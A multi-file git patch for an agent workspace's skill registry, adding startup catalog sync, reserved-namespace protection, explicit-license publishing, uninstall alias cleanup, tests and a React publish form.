materialize_legacy_workspace_skills(db: Session, workspace) -> list[Workspac by_slug = {s.slug: s for s in existing} legacy = dict((workspace.settings or {}).get("custom_skills") or {}) store = get_file_store() - changed = False for legacy_slug, entry in legacy.items(): - slug = slugify(entry.get("id") or legacy_slug) + # Workspace skill ids already passed the custom-skill safety validator; + # preserve dots/underscores so install status keys remain stable. Only + # public Registry URL slugs are normalized with slugify(). + slug = (entry.get("id") or legacy_slug).strip() if slug in by_slug: continue file_record = db.get(FileRecord, entry.get("file_id")) @@ -164,77 +170,159 @@ def materialize_legacy_workspace_skills(db: Session, workspace) -> list[Workspac "Imported from legacy custom skill", ) by_slug[slug] = skill - changed = True - if changed: - db.commit() + # The caller owns the transaction. This helper is used in the middle of + # install/publish requests, so committing here could persist unrelated + # caller state before the request has succeeded. + db.flush() return list(by_slug.values()) -def ensure_builtin_registry(db: Session) -> None: - """Idempotently expose the existing backend catalog as upstream pointers.""" - namespaces: dict[str, SkillNamespace] = {} +def sync_builtin_registry(db: Session) -> None: + """Idempotently sync the curated catalog into an existing transaction. + + The function deliberately does not commit. It is called only by the + startup bootstrap (under a cross-process lock) and by explicit tests/tools, + never by public GET endpoints. + """ + desired_namespaces: dict[str, dict] = {} for entry in SKILL_CATALOG: repo = entry.get("source_repo") or "openagents/catalog" owner = repo.split("/", 1)[0] ns_slug = slugify(owner, "openagents") - ns = namespaces.get(ns_slug) - if ns is None: - ns = db.execute(select(SkillNamespace).where(SkillNamespace.slug == ns_slug)).scalar_one_or_none() - if ns is None: - ns = SkillNamespace( + desired_namespaces.setdefault(ns_slug, { + "type": "official" if ns_slug == "openagents" else "external", + "display_name": entry.get("author") or owner, + "source_url": f"https://github.com/{repo}", + }) + + existing_namespaces = db.execute( + select(SkillNamespace).where(SkillNamespace.slug.in_(desired_namespaces)) + ).scalars().all() + namespaces = {namespace.slug: namespace for namespace in existing_namespaces} + for ns_slug, metadata in desired_namespaces.items(): + namespace = namespaces.get(ns_slug) + if namespace is not None and ( + namespace.type not in {"official", "external"} + or namespace.owner_user_id is not None + ): + # Repair data created before namespace reservation was enforced. + # Keep the user's works together under a stable suffixed slug, then + # create the reserved upstream namespace at its canonical slug. + suffix = str(namespace.owner_user_id or namespace.id)[:8] + candidate = slugify(f"{ns_slug}-{suffix}") + counter = 2 + while db.execute(select(SkillNamespace.id).where(SkillNamespace.slug == candidate)).first(): + candidate = slugify(f"{ns_slug}-{suffix}-{counter}") + counter += 1 + namespace.slug = candidate + db.flush() + namespace = None + if namespace is None: + namespace = SkillNamespace( slug=ns_slug, - type="official" if ns_slug == "openagents" else "external", - display_name=entry.get("author") or owner, - source_url=f"https://github.com/{repo}", + type=metadata["type"], + display_name=metadata["display_name"], + source_url=metadata["source_url"], verified_at=datetime.now(timezone.utc), ) - db.add(ns) - db.flush() - namespaces[ns_slug] = ns - existing = db.execute( - select(RegistrySkill.id).where( - RegistrySkill.namespace_id == ns.id, - RegistrySkill.slug == slugify(entry["id"]), - ) - ).first() - if existing: - continue - skill = RegistrySkill( - namespace_id=ns.id, - slug=slugify(entry["id"]), - name=entry.get("name") or entry["id"], - summary=entry.get("description") or "", - category=entry.get("category") or "other", - tags=entry.get("tags") or [], - visibility="public", - ) - db.add(skill) - db.flush() - if repo.lower() == "terminalskills/skills": - license_spdx = "Apache-2.0" - elif repo.lower() == "opensensenova/sensenova-skills": - license_spdx = "MIT" + db.add(namespace) + namespaces[ns_slug] = namespace else: - # Anthropic contains both open and source-available packages. Keep - # these entries pointer-only and do not claim redistribution rights. - license_spdx = "LicenseRef-Upstream" - version = RegistrySkillVersion( - skill_id=skill.id, - version="upstream", - version_seq=1, - source_mode="upstream_pointer", - source_repo=repo, - source_path=entry.get("source_path"), - package_type="zip", - license_spdx=license_spdx, - attribution_snapshot={ - "author": entry.get("author") or owner, - "source_url": f"https://github.com/{repo}/tree/main/{entry.get('source_path', '')}", - }, - capabilities={"scripts": "unknown", "source": "upstream"}, - scan_result={"status": "not_mirrored"}, - ) - db.add(version) + # Catalog namespaces are reserved. Keep their display metadata in + # sync, but never turn a user-owned namespace into an official one. + if namespace.type in {"official", "external"} and namespace.owner_user_id is None: + namespace.display_name = metadata["display_name"] + namespace.source_url = metadata["source_url"] db.flush() + + namespace_ids = [namespace.id for namespace in namespaces.values()] + existing_skills = db.execute( + select(RegistrySkill).where(RegistrySkill.namespace_id.in_(namespace_ids)) + ).scalars().all() + skills = {(skill.namespace_id, skill.slug): skill for skill in existing_skills} + existing_versions = db.execute( + select(RegistrySkillVersion).where( + RegistrySkillVersion.skill_id.in_([skill.id for skill in existing_skills]), + RegistrySkillVersion.version == "upstream", + ) + ).scalars().all() if existing_skills else [] + versions = {version.skill_id: version for version in existing_versions} + + for entry in SKILL_CATALOG: + repo = entry.get("source_repo") or "openagents/catalog" + owner = repo.split("/", 1)[0] + namespace = namespaces[slugify(owner, "openagents")] + skill_slug = slugify(entry["id"]) + skill = skills.get((namespace.id, skill_slug)) + if skill is None: + skill = RegistrySkill( + namespace_id=namespace.id, + slug=skill_slug, + name=entry.get("name") or entry["id"], + summary=entry.get("description") or "", + category=entry.get("category") or "other", + tags=entry.get("tags") or [], + visibility="public", + status="active", + ) + db.add(skill) + db.flush() + skills[(namespace.id, skill_slug)] = skill + skill.name = entry.get("name") or entry["id"] + skill.summary = entry.get("description") or "" + skill.category = entry.get("category") or "other" + skill.tags = entry.get("tags") or [] + skill.visibility = "public" + skill.status = "active" + + repo_lower = repo.lower() + license_spdx = ( + "Apache-2.0" if repo_lower == "terminalskills/skills" + else "MIT" if repo_lower == "opensensenova/sensenova-skills" + else "LicenseRef-Upstream" + ) + version = versions.get(skill.id) + if version is None: + version = RegistrySkillVersion( + skill_id=skill.id, + version="upstream", + version_seq=1, + license_spdx=license_spdx, + ) + db.add(version) + db.flush() + versions[skill.id] = version + version.status = "published" + version.source_mode = "upstream_pointer" + version.source_repo = repo + version.source_path = entry.get("source_path") + version.package_type = "zip" + version.license_spdx = license_spdx + version.attribution_snapshot = { + "author": entry.get("author") or owner, + "source_url": f"https://github.com/{repo}/tree/main/{entry.get('source_path', '')}", + } + version.capabilities = {"scripts": "unknown", "source": "upstream"} + version.scan_result = {"status": "not_mirrored"} skill.latest_published_version_id = version.id - db.commit() + db.flush() + + +def bootstrap_builtin_registry() -> None: + """Run the catalog sync once at process startup with concurrency safety.""" + from app.database import SessionLocal + + with _BOOTSTRAP_LOCK: + db = SessionLocal() + try: + if db.get_bind().dialect.name == "postgresql": + db.execute(text("SELECT pg_advisory_xact_lock(hashtext('openagents.skill_registry.bootstrap.v1'))")) + sync_builtin_registry(db) + db.commit() + logger.info("Skill registry catalog bootstrap complete") + except Exception: + db.rollback() + logger.exception("Skill registry catalog bootstrap failed") + raise + finally: + db.close() diff --git a/workspace/backend/tests/test_skill_registry.py b/workspace/backend/tests/test_skill_registry.py index 85f419f78..69de7d8f4 100644 --- a/workspace/backend/tests/test_skill_registry.py +++ b/workspace/backend/tests/test_skill_registry.py @@ -5,6 +5,13 @@ import io import zipfile +import pytest +from sqlalchemy import func, select + +import app.access as access +from app.models import RegistrySkill, SkillNamespace, WorkspaceSkillVersion +from app.skill_registry import sync_builtin_registry + VALID_SKILL = b"""--- name: Release Notes Helper @@ -15,8 +22,30 @@ """ -def _headers(workspace): - return {"X-Workspace-Token": workspace["token"]} +@pytest.fixture(autouse=True) +def _identity_tokens(monkeypatch): + claims = { + "publisher": { + "provider": "firebase", "email": "test@example.com", + "firebase_uid": "publisher-uid", "display_name": "Test Publisher", + }, + "anthropics-user": { + "provider": "firebase", "email": "test@example.com", + "firebase_uid": "anthropics-user-uid", "display_name": "Anthropics", + }, + "target-user": { + "provider": "firebase", "email": "target@example.com", + "firebase_uid": "target-user-uid", "display_name": "Target User", + }, + } + monkeypatch.setattr(access, "verify_identity_claims", lambda token: claims.get(token)) + + +def _headers(workspace, bearer=None): + headers = {"X-Workspace-Token": workspace["token"]} + if bearer: + headers["Authorization"] = f"Bearer {bearer}" + return headers def _zip_skill(): @@ -52,11 +81,11 @@ def _upload_and_register(client, workspace, content=VALID_SKILL, suffix="md", sl return registered.json()["data"] -def _publish(client, workspace, local): +def _publish(client, workspace, local, bearer="publisher"): response = client.post( f"/v1/workspaces/{workspace['id']}/skills/{local['workspace_skill_id']}/publish", json={"license_spdx": "MIT", "version": "1.0.0", "changelog": "First release"}, - headers=_headers(workspace), + headers=_headers(workspace, bearer), ) assert response.status_code == 200, response.text return response.json()["data"] @@ -146,7 +175,7 @@ def test_fork_preserves_version_attribution(client, workspace): forked = client.post( f"/v1/registry/skills/{published['id']}/fork", json={"workspace_id": target["id"], "version_id": published["latestVersion"]["id"]}, - headers=_headers(target), + headers=_headers(target, "target-user"), ) assert forked.status_code == 200, forked.text assert forked.json()["data"]["forkedFromVersionId"] == published["latestVersion"]["id"] @@ -158,6 +187,7 @@ def test_fork_preserves_version_attribution(client, workspace): assert local.status_code == 200, local.text copy = next(s for s in local.json()["data"]["skills"] if s["workspace_skill_id"] == forked.json()["data"]["id"]) assert copy["forked_from_version_id"] == published["latestVersion"]["id"] + assert copy["author"] == "human:target@example.com" def test_publication_policy_rejects_zip_and_missing_frontmatter(client, workspace): @@ -165,7 +195,7 @@ def test_publication_policy_rejects_zip_and_missing_frontmatter(client, workspac rejected = client.post( f"/v1/workspaces/{workspace['id']}/skills/{no_frontmatter['workspace_skill_id']}/publish", json={"license_spdx": "MIT"}, - headers=_headers(workspace), + headers=_headers(workspace, "publisher"), ) assert rejected.status_code == 400 assert "frontmatter" in rejected.text @@ -176,7 +206,7 @@ def test_publication_policy_rejects_zip_and_missing_frontmatter(client, workspac rejected_zip = client.post( f"/v1/workspaces/{workspace['id']}/skills/{zip_local['workspace_skill_id']}/publish", json={"license_spdx": "MIT"}, - headers=_headers(workspace), + headers=_headers(workspace, "publisher"), ) assert rejected_zip.status_code == 400 assert "Markdown" in rejected_zip.text @@ -191,7 +221,101 @@ def test_publication_policy_rejects_zip_and_missing_frontmatter(client, workspac rejected_command = client.post( f"/v1/workspaces/{workspace['id']}/skills/{pipe_to_shell['workspace_skill_id']}/publish", json={"license_spdx": "MIT"}, - headers=_headers(workspace), + headers=_headers(workspace, "publisher"), ) assert rejected_command.status_code == 400 assert "pipe-to-shell" in rejected_command.text + + +def test_publication_requires_identity_and_explicit_license(client, workspace): + local = _upload_and_register(client, workspace) + endpoint = f"/v1/workspaces/{workspace['id']}/skills/{local['workspace_skill_id']}/publish" + + token_only = client.post(endpoint, json={"license_spdx": "MIT"}, headers=_headers(workspace)) + assert token_only.status_code == 401 + + missing_license = client.post(endpoint, json={}, headers=_headers(workspace, "publisher")) + assert missing_license.status_code == 422 + + +def test_user_cannot_publish_into_reserved_builtin_namespace(client, workspace, db): + sync_builtin_registry(db) + db.commit() + local = _upload_and_register(client, workspace) + published = _publish(client, workspace, local, bearer="anthropics-user") + + assert published["namespace"] != "anthropics" + assert published["namespace"].startswith("anthropics-") + namespace = db.execute( + select(SkillNamespace).where(SkillNamespace.slug == published["namespace"]) + ).scalar_one() + assert namespace.type == "user" + assert namespace.owner_user_id is not None + builtin = db.execute(select(SkillNamespace).where(SkillNamespace.slug == "anthropics")).scalar_one() + assert builtin.type == "external" + assert builtin.owner_user_id is None + + +def test_registry_get_is_read_only_and_catalog_sync_updates_existing_rows(client, db): + sync_builtin_registry(db) + db.commit() + before = db.execute(select(func.count()).select_from(RegistrySkill)).scalar_one() + claude = db.execute(select(RegistrySkill).where(RegistrySkill.slug == "claude-api")).scalar_one() + claude.summary = "stale" + db.commit() + + response = client.get("/v1/registry/skills", params={"q": "claude"}) + assert response.status_code == 200 + after = db.execute(select(func.count()).select_from(RegistrySkill)).scalar_one() + assert after == before + db.refresh(claude) + assert claude.summary == "stale", "GET must not run catalog synchronization" + + sync_builtin_registry(db) + db.commit() + db.refresh(claude) + assert claude.summary != "stale", "explicit startup sync should repair catalog drift" + + +def test_new_private_version_is_the_one_sent_to_launcher(client, workspace, db): + local = _upload_and_register(client, workspace, slug="release_notes_helper") + v2_content = VALID_SKILL.replace(b"concise release notes", b"detailed release notes") + uploaded = client.post( + "/v1/files", + files={"file": ("release-notes-v2.md", v2_content, "text/markdown")}, + data={"network": workspace["id"]}, + headers=_headers(workspace), + ) + assert uploaded.status_code == 200, uploaded.text + v2_file_id = uploaded.json()["data"]["id"] + created = client.post( + f"/v1/workspaces/{workspace['id']}/skills/custom/{local['workspace_skill_id']}/versions", + json={"file_id": v2_file_id, "changelog": "Second private version"}, + headers=_headers(workspace), + ) + assert created.status_code == 200, created.text + v2 = created.json()["data"] + assert v2["version"] == "2.0.0" + + _join_agent(client, workspace) + installed = client.post( + f"/v1/workspaces/{workspace['id']}/members/claude/skills/install", + json={"skill_id": "release_notes_helper"}, + headers=_headers(workspace), + ) + assert installed.status_code == 200, installed.text + assert installed.json()["data"]["versionId"] == v2["version_id"] + + events = client.get( + "/v1/events", + params={ + "network": workspace["id"], "type": "workspace.agent.control", + "target": "openagents:claude", + }, + headers=_headers(workspace), + ).json()["data"]["events"] + payload = next(e for e in events if e["payload"].get("action") == "skill.install")["payload"]["skill"] + assert payload["file_id"] == v2_file_id + assert payload["version_id"] == v2["version_id"] + latest = db.get(WorkspaceSkillVersion, v2["version_id"]) + assert latest.file_id == v2_file_id diff --git a/workspace/frontend/components/skills/skills-view.tsx b/workspace/frontend/components/skills/skills-view.tsx index 061d28a22..21022a456 100644 --- a/workspace/frontend/components/skills/skills-view.tsx +++ b/workspace/frontend/components/skills/skills-view.tsx @@ -61,6 +61,7 @@ interface Skill { license?: string; forkedFromVersionId?: string | null; installCount?: number; + unavailable?: boolean; } const CUSTOM_SKILL_ID_RE = /^[a-zA-Z0-9][a-zA-Z0-9._-]*$/; @@ -84,6 +85,7 @@ function customSkillToSkill(c: WorkspaceCustomSkill): Skill { version: c.version, versionId: c.versionId, forkedFromVersionId: c.forkedFromVersionId, + unavailable: c.unavailable, }; } @@ -248,7 +250,15 @@ function categoryLabel(t: TranslateFn, id: string): string { * `skills.catalog.`, which is why the SKILLS array carries no prose. */ function skillDescription(t: TranslateFn, skill: Skill): string { - if (skill.sourceType === 'workspace_file' || skill.sourceType === 'registry') return skill.description ?? ''; + if (skill.sourceType === 'workspace_file') return skill.description ?? ''; + if (skill.sourceType === 'registry') { + // Curated upstream pointers retain the translated built-in description; + // user-published registry skills use their authored summary verbatim. + if (skill.sourceMode === 'upstream_pointer' && skill.slug) { + return t(`skills.catalog.${skill.slug}` as MessageKey); + } + return skill.description ?? ''; + } return t(`skills.catalog.${skill.id}` as MessageKey); } @@ -345,6 +355,10 @@ function SkillDetail({ const [installing, setInstalling] = useState(null); const [acting, setActing] = useState(false); const [registryDetail, setRegistryDetail] = useState(null); + const [showPublishForm, setShowPublishForm] = useState(false); + const [publishLicense, setPublishLicense] = useState(''); + const [publishVersion, setPublishVersion] = useState('1.0.0'); + const [publishChangelog, setPublishChangelog] = useState(''); useEffect(() => { if (!isRegistry || !skill.namespace || !skill.slug) { @@ -421,18 +435,23 @@ function SkillDetail({ }); const handlePublish = useCallback(async () => { - if (!skill.workspaceSkillId) return; + if (!skill.workspaceSkillId || !publishLicense) return; setActing(true); try { - const published = await workspaceApi.publishWorkspaceSkill(skill.workspaceSkillId); + const published = await workspaceApi.publishWorkspaceSkill(skill.workspaceSkillId, { + license: publishLicense, + version: publishVersion.trim() || undefined, + changelog: publishChangelog.trim() || undefined, + }); await onRegistryChanged(); toast.success(t('skills.publishSuccess', { skill: published.name })); + setShowPublishForm(false); } catch (e) { toast.error(extractErrorMessage(e)); } finally { setActing(false); } - }, [skill, onRegistryChanged, t]); + }, [skill, publishLicense, publishVersion, publishChangelog, onRegistryChanged, t]); const handleFork = useCallback(async () => { setActing(true); @@ -480,6 +499,11 @@ function SkillDetail({ + {skill.unavailable && ( +
+ {t('skills.backingFileUnavailable')} +
+ )} {/* Add to Agent */}
{t('skills.addToAgent')}
@@ -608,6 +632,47 @@ function SkillDetail({
)} + {isCustom && showPublishForm && ( +
+
+ + +

{t('skills.publishLicenseHint')}

+
+
+
+ + setPublishVersion(event.target.value)} className="mt-1 h-9" /> +
+
+ + setPublishChangelog(event.target.value)} + placeholder={t('skills.publishChangelogPlaceholder')} + className="mt-1 h-9" + /> +
+
+
+ )} + {/* Custom (uploaded) skills show the uploaded package instead of a GitHub source / CLI install command. */} {isCustom ? ( @@ -663,9 +728,13 @@ function SkillDetail({ {t('common.close')} {isCustom && skill.packageType === 'md' && skill.workspaceSkillId && ( - )} {isRegistry && skill.sourceMode === 'mirrored' && ( @@ -711,9 +780,9 @@ export function SkillsView() { }, [workspaceId]); const reloadRegistrySkills = useCallback(async () => { - const list = await workspaceApi.getRegistrySkills(); + const list = await workspaceApi.getRegistrySkills(search, activeCategory); setRegistrySkills(list.map((skill, index) => registrySkillToSkill(skill, index < 4))); - }, []); + }, [search, activeCategory]); useEffect(() => { if (!workspaceId) return; @@ -726,13 +795,15 @@ export function SkillsView() { useEffect(() => { let cancelled = false; - workspaceApi.getRegistrySkills() - .then(list => { - if (!cancelled) setRegistrySkills(list.map((skill, index) => registrySkillToSkill(skill, index < 4))); - }) - .catch(() => { if (!cancelled) setRegistrySkills(null); }); - return () => { cancelled = true; }; - }, []); + const timer = window.setTimeout(() => { + workspaceApi.getRegistrySkills(search, activeCategory) + .then(list => { + if (!cancelled) setRegistrySkills(list.map((skill, index) => registrySkillToSkill(skill, index < 4))); + }) + .catch(() => { if (!cancelled) setRegistrySkills(null); }); + }, 250); + return () => { cancelled = true; window.clearTimeout(timer); }; + }, [search, activeCategory]); const handleUploaded = useCallback((created: WorkspaceCustomSkill) => { const skill = customSkillToSkill(created); @@ -744,7 +815,7 @@ export function SkillsView() { // deployments roll forward. New deployments use the Registry as the source // of truth, avoiding a fourth hard-coded copy of the catalogue. const allSkills = useMemo( - () => [...(registrySkills || SKILLS), ...customSkills], + () => [...(registrySkills && registrySkills.length > 0 ? registrySkills : SKILLS), ...customSkills], [registrySkills, customSkills], ); diff --git a/workspace/frontend/lib/api.ts b/workspace/frontend/lib/api.ts index 5f61b558e..1320118de 100644 --- a/workspace/frontend/lib/api.ts +++ b/workspace/frontend/lib/api.ts @@ -53,6 +53,7 @@ function mapCustomSkill(raw: Record): WorkspaceCustomSkill { versionId: (raw.version_id || raw.versionId) as string | undefined, registrySkillId: (raw.registry_skill_id || raw.registrySkillId) as string | undefined, forkedFromVersionId: (raw.forked_from_version_id || raw.forkedFromVersionId) as string | undefined, + unavailable: Boolean(raw.unavailable), }; } @@ -314,14 +315,14 @@ class WorkspaceApi { async publishWorkspaceSkill( workspaceSkillId: string, - options: { license?: string; version?: string; changelog?: string } = {}, + options: { license: string; version?: string; changelog?: string }, ): Promise { return this.request( `/v1/workspaces/${this.requireWorkspace()}/skills/${workspaceSkillId}/publish`, { method: 'POST', body: JSON.stringify({ - license_spdx: options.license || 'MIT', + license_spdx: options.license, version: options.version, changelog: options.changelog || 'Initial public release', }), diff --git a/workspace/frontend/lib/i18n/messages/en-US.ts b/workspace/frontend/lib/i18n/messages/en-US.ts index 9f53a71c9..73b815784 100644 --- a/workspace/frontend/lib/i18n/messages/en-US.ts +++ b/workspace/frontend/lib/i18n/messages/en-US.ts @@ -1013,9 +1013,17 @@ export const messages = { latest: 'latest', yanked: 'yanked', publishPublic: 'Publish public version', + publishConfirm: 'Confirm publication', publishSuccess: '{skill} was published to the public registry', + publishLicenseLabel: 'Derivative-friendly license', + publishLicensePlaceholder: 'Choose a license explicitly', + publishLicenseHint: 'Publishing allows other users to install and fork this immutable version.', + publishVersionLabel: 'Public version', + publishChangelogLabel: 'Changelog', + publishChangelogPlaceholder: 'What changed in this version?', forkToWorkspace: 'Fork to workspace', forkSuccess: '{skill} was forked to this workspace', + backingFileUnavailable: 'The original file is unavailable. Re-upload this skill before installing or publishing it.', uploadTitle: 'Upload custom skill', uploadPackageLabel: 'Skill package (.md or .zip)', diff --git a/workspace/frontend/lib/i18n/messages/zh-CN.ts b/workspace/frontend/lib/i18n/messages/zh-CN.ts index 556f7b757..612e4e11f 100644 --- a/workspace/frontend/lib/i18n/messages/zh-CN.ts +++ b/workspace/frontend/lib/i18n/messages/zh-CN.ts @@ -986,9 +986,17 @@ export const messages: Messages = { latest: '最新', yanked: '已撤回', publishPublic: '发布公开版本', + publishConfirm: '确认发布', publishSuccess: '{skill} 已发布到公开技能库', + publishLicenseLabel: '允许二创的许可证', + publishLicensePlaceholder: '请明确选择许可证', + publishLicenseHint: '发布后,其他用户可以安装并二创这个不可变版本。', + publishVersionLabel: '公开版本号', + publishChangelogLabel: '版本说明', + publishChangelogPlaceholder: '这个版本改了什么?', forkToWorkspace: '二创到工作区', forkSuccess: '{skill} 已二创到当前工作区', + backingFileUnavailable: '原始文件已不可用,请重新上传后再安装或发布。', uploadTitle: '上传自定义技能', uploadPackageLabel: '技能包(.md 或 .zip)', diff --git a/workspace/frontend/lib/types.ts b/workspace/frontend/lib/types.ts index 324618313..a1e893f8e 100644 --- a/workspace/frontend/lib/types.ts +++ b/workspace/frontend/lib/types.ts @@ -81,6 +81,7 @@ export interface WorkspaceCustomSkill { versionId?: string; registrySkillId?: string; forkedFromVersionId?: string; + unavailable?: boolean; } export interface RegistrySkillVersion { From d6234bb5e31caab7deb6ef27e29c26fec3c4ecd3 Mon Sep 17 00:00:00 2001 From: Quan Cheng Date: Fri, 7 Aug 2026 12:10:18 +0800 Subject: [PATCH 3/5] fix preserve builtin skill compatibility --- workspace/backend/app/routers/registry.py | 18 +- workspace/backend/app/routers/workspaces.py | 48 ++++- workspace/backend/app/skill_catalog.py | 75 ++++++++ workspace/backend/app/skill_registry.py | 40 ++-- .../backend/tests/test_skill_registry.py | 172 ++++++++++++++++-- .../components/skills/skills-view.tsx | 71 ++++++-- workspace/frontend/lib/i18n/messages/en-US.ts | 3 + workspace/frontend/lib/i18n/messages/zh-CN.ts | 3 + 8 files changed, 368 insertions(+), 62 deletions(-) diff --git a/workspace/backend/app/routers/registry.py b/workspace/backend/app/routers/registry.py index 1188e8fe6..969b6ca91 100644 --- a/workspace/backend/app/routers/registry.py +++ b/workspace/backend/app/routers/registry.py @@ -247,18 +247,24 @@ def publish_workspace_skill( except (FileNotFoundError, ValueError) as exc: return json_response(ResponseCode.BAD_REQUEST, str(exc)) - namespace_slug = slugify(user.display_name or user.email.split("@", 1)[0]) - namespace = db.execute(select(SkillNamespace).where(SkillNamespace.slug == namespace_slug)).scalar_one_or_none() - if namespace and not (namespace.type == "user" and namespace.owner_user_id == user.id): - base_slug = slugify(f"{namespace_slug}-{str(user.id)[:8]}") + # Reuse the publisher's immutable namespace even if their display name + # changes. New user namespaces always include an identity suffix, so an + # arbitrary display name can never claim a canonical brand URL. + namespace = db.execute(select(SkillNamespace).where( + SkillNamespace.type == "user", + SkillNamespace.owner_user_id == user.id, + SkillNamespace.status == "active", + ).order_by(SkillNamespace.created_at.asc())).scalars().first() + if namespace is None: + display_slug = slugify(user.display_name or user.email.split("@", 1)[0]) + base_slug = slugify(f"{display_slug}-{str(user.id)[:8]}") namespace_slug = base_slug namespace = db.execute(select(SkillNamespace).where(SkillNamespace.slug == namespace_slug)).scalar_one_or_none() counter = 2 - while namespace and not (namespace.type == "user" and namespace.owner_user_id == user.id): + while namespace is not None: namespace_slug = slugify(f"{base_slug}-{counter}") namespace = db.execute(select(SkillNamespace).where(SkillNamespace.slug == namespace_slug)).scalar_one_or_none() counter += 1 - if namespace is None: namespace = SkillNamespace( slug=namespace_slug, type="user", diff --git a/workspace/backend/app/routers/workspaces.py b/workspace/backend/app/routers/workspaces.py index 60f3ca49f..7cf44a157 100644 --- a/workspace/backend/app/routers/workspaces.py +++ b/workspace/backend/app/routers/workspaces.py @@ -855,6 +855,39 @@ def _set_skill_status(skills_data: dict, skill_id: str, state: str, return skills_data +def _registry_status_aliases(db: Session, skill_id: str) -> tuple[set[str], Optional[object]]: + """Return compatible status keys for an upstream Registry pointer. + + Built-in skills historically used their catalog slug in ``enabled_skills``. + One Registry build briefly used the Registry UUID instead. Treat both as + aliases for upstream pointers so uninstall can clean either representation; + mirrored UGC remains UUID-only to avoid collisions with unrelated slugs. + """ + from app.models import RegistrySkill, RegistrySkillVersion + + registry_skill = db.get(RegistrySkill, skill_id) + version = db.get(RegistrySkillVersion, registry_skill.latest_published_version_id) if registry_skill else None + if registry_skill is None: + row = db.execute( + select(RegistrySkill, RegistrySkillVersion) + .join( + RegistrySkillVersion, + RegistrySkillVersion.id == RegistrySkill.latest_published_version_id, + ) + .where( + RegistrySkill.slug == skill_id, + RegistrySkillVersion.source_mode == "upstream_pointer", + ) + ).first() + if row: + registry_skill, version = row + + aliases = {skill_id} + if registry_skill is not None and version is not None and version.source_mode == "upstream_pointer": + aliases.update({registry_skill.id, registry_skill.slug}) + return aliases, registry_skill + + @router.post("/{workspace_id}/members/{agent_name}/skills/install") async def install_skill( workspace_id: str, @@ -1215,16 +1248,18 @@ async def uninstall_skill( if not member: return json_response(ResponseCode.NOT_FOUND, "Member not found") + aliases, alias_registry_skill = _registry_status_aliases(db, body.skill_id) skills_data = dict(member.enabled_skills or {}) - installed = [s for s in skills_data.get("installed", []) if s != body.skill_id] + installed = [s for s in skills_data.get("installed", []) if s not in aliases] skills_data["installed"] = installed status_map = dict(skills_data.get("skill_status", {})) - status_map.pop(body.skill_id, None) + for alias in aliases: + status_map.pop(alias, None) skills_data["skill_status"] = status_map member.enabled_skills = skills_data from app.models import AgentSkillInstallation, RegistrySkill - registry_skill = db.get(RegistrySkill, body.skill_id) + registry_skill = db.get(RegistrySkill, body.skill_id) or alias_registry_skill skill = find_skill(body.skill_id) or { "id": registry_skill.slug if registry_skill else body.skill_id, "name": registry_skill.name if registry_skill else body.skill_id, @@ -1238,9 +1273,10 @@ async def uninstall_skill( "source_path": skill.get("source_path", ""), }, }) - installation = db.get(AgentSkillInstallation, (workspace.id, agent_name, body.skill_id)) - if installation: - db.delete(installation) + for alias in aliases: + installation = db.get(AgentSkillInstallation, (workspace.id, agent_name, alias)) + if installation: + db.delete(installation) db.commit() return success_response({ diff --git a/workspace/backend/app/skill_catalog.py b/workspace/backend/app/skill_catalog.py index 0d8394d02..deeb3279f 100644 --- a/workspace/backend/app/skill_catalog.py +++ b/workspace/backend/app/skill_catalog.py @@ -701,6 +701,81 @@ }, ] +# Search/display tags were historically owned by the frontend catalogue. Keep +# them alongside the backend source during the Registry migration so server-side +# search can match tags before the frontend enriches brand artwork by slug. +_SKILL_TAGS = { + "claude-api": ["sdk", "llm", "caching"], + "openai-sdk": ["gpt", "embeddings", "vision"], + "langchain": ["rag", "agents", "chains"], + "mcp-builder": ["mcp", "tools", "protocol"], + "skill-creator": ["meta", "evals", "authoring"], + "ai-sdk": ["streaming", "react", "rag"], + "nextjs": ["react", "ssr", "app-router"], + "angular": ["typescript", "spa", "rxjs"], + "vue": ["composition-api", "reactive", "sfc"], + "svelte": ["compiler", "runes", "sveltekit"], + "tailwindcss": ["css", "utility", "responsive"], + "frontend-design": ["ui", "design", "creative"], + "accessibility-auditor": ["wcag", "a11y", "audit"], + "fastapi": ["python", "async", "pydantic"], + "django": ["python", "orm", "admin"], + "flask": ["python", "micro", "jinja"], + "graphql": ["api", "schema", "federation"], + "grpc": ["rpc", "protobuf", "streaming"], + "rest-api": ["rest", "openapi", "crud"], + "celery": ["python", "queue", "workers"], + "rabbitmq": ["messaging", "amqp", "queue"], + "kafka": ["streaming", "events", "pubsub"], + "rate-limiter": ["security", "throttle", "redis"], + "postgresql": ["sql", "jsonb", "rls"], + "mongodb": ["nosql", "aggregation", "vector"], + "redis": ["cache", "pubsub", "streams"], + "prisma": ["orm", "typescript", "migrations"], + "supabase": ["auth", "realtime", "storage"], + "firebase": ["firestore", "auth", "functions"], + "github-actions": ["ci-cd", "automation", "workflows"], + "ansible": ["automation", "playbooks", "vault"], + "nginx": ["proxy", "tls", "load-balancer"], + "cloudflare": ["cdn", "dns", "workers"], + "sentry": ["monitoring", "errors", "apm"], + "datadog": ["monitoring", "metrics", "logs"], + "jest": ["unit-test", "mocking", "coverage"], + "pytest": ["python", "fixtures", "tdd"], + "cypress": ["e2e", "browser", "ci"], + "webapp-testing": ["playwright", "screenshots", "verification"], + "ab-test-setup": ["experiment", "hypothesis", "variants"], + "security-audit": ["owasp", "vulnerabilities", "cve"], + "airtable": ["api", "database", "webhooks"], + "notion": ["api", "workspace", "pages"], + "jira": ["issues", "sprints", "agile"], + "linear": ["issues", "cycles", "graphql"], + "stripe": ["payments", "subscriptions", "webhooks"], + "twilio": ["sms", "voice", "2fa"], + "sendgrid": ["email", "templates", "deliverability"], + "shopify": ["ecommerce", "liquid", "headless"], + "wordpress": ["cms", "gutenberg", "plugins"], + "woocommerce": ["ecommerce", "wordpress", "payments"], + "contentful": ["cms", "headless", "i18n"], + "sanity": ["cms", "groq", "structured"], + "zapier": ["automation", "nocode", "integrations"], + "analytics-tracking": ["ga4", "tracking", "gtm"], + "docx": ["word", "docx", "formatting"], + "xlsx": ["excel", "formulas", "charts"], + "pptx": ["slides", "presentations", "templates"], + "pdf": ["pdf", "ocr", "merge"], + "doc-coauthoring": ["writing", "specs", "collaboration"], + "sn-deep-research": ["research", "report", "evidence"], + "sn-infographic": ["infographic", "visual", "design"], + "sn-ppt-entry": ["ppt", "slides", "creative"], + "sn-da-excel-workflow": ["excel", "data-analysis", "pivot"], + "sn-image-base": ["image-gen", "vlm", "vision"], + "sn-md-to-html-report": ["markdown", "html", "report"], +} + +for _skill in SKILL_CATALOG: + _skill["tags"] = list(_SKILL_TAGS.get(_skill["id"], [])) + # Keep the workspace-module helpers for backward compatibility with the launcher 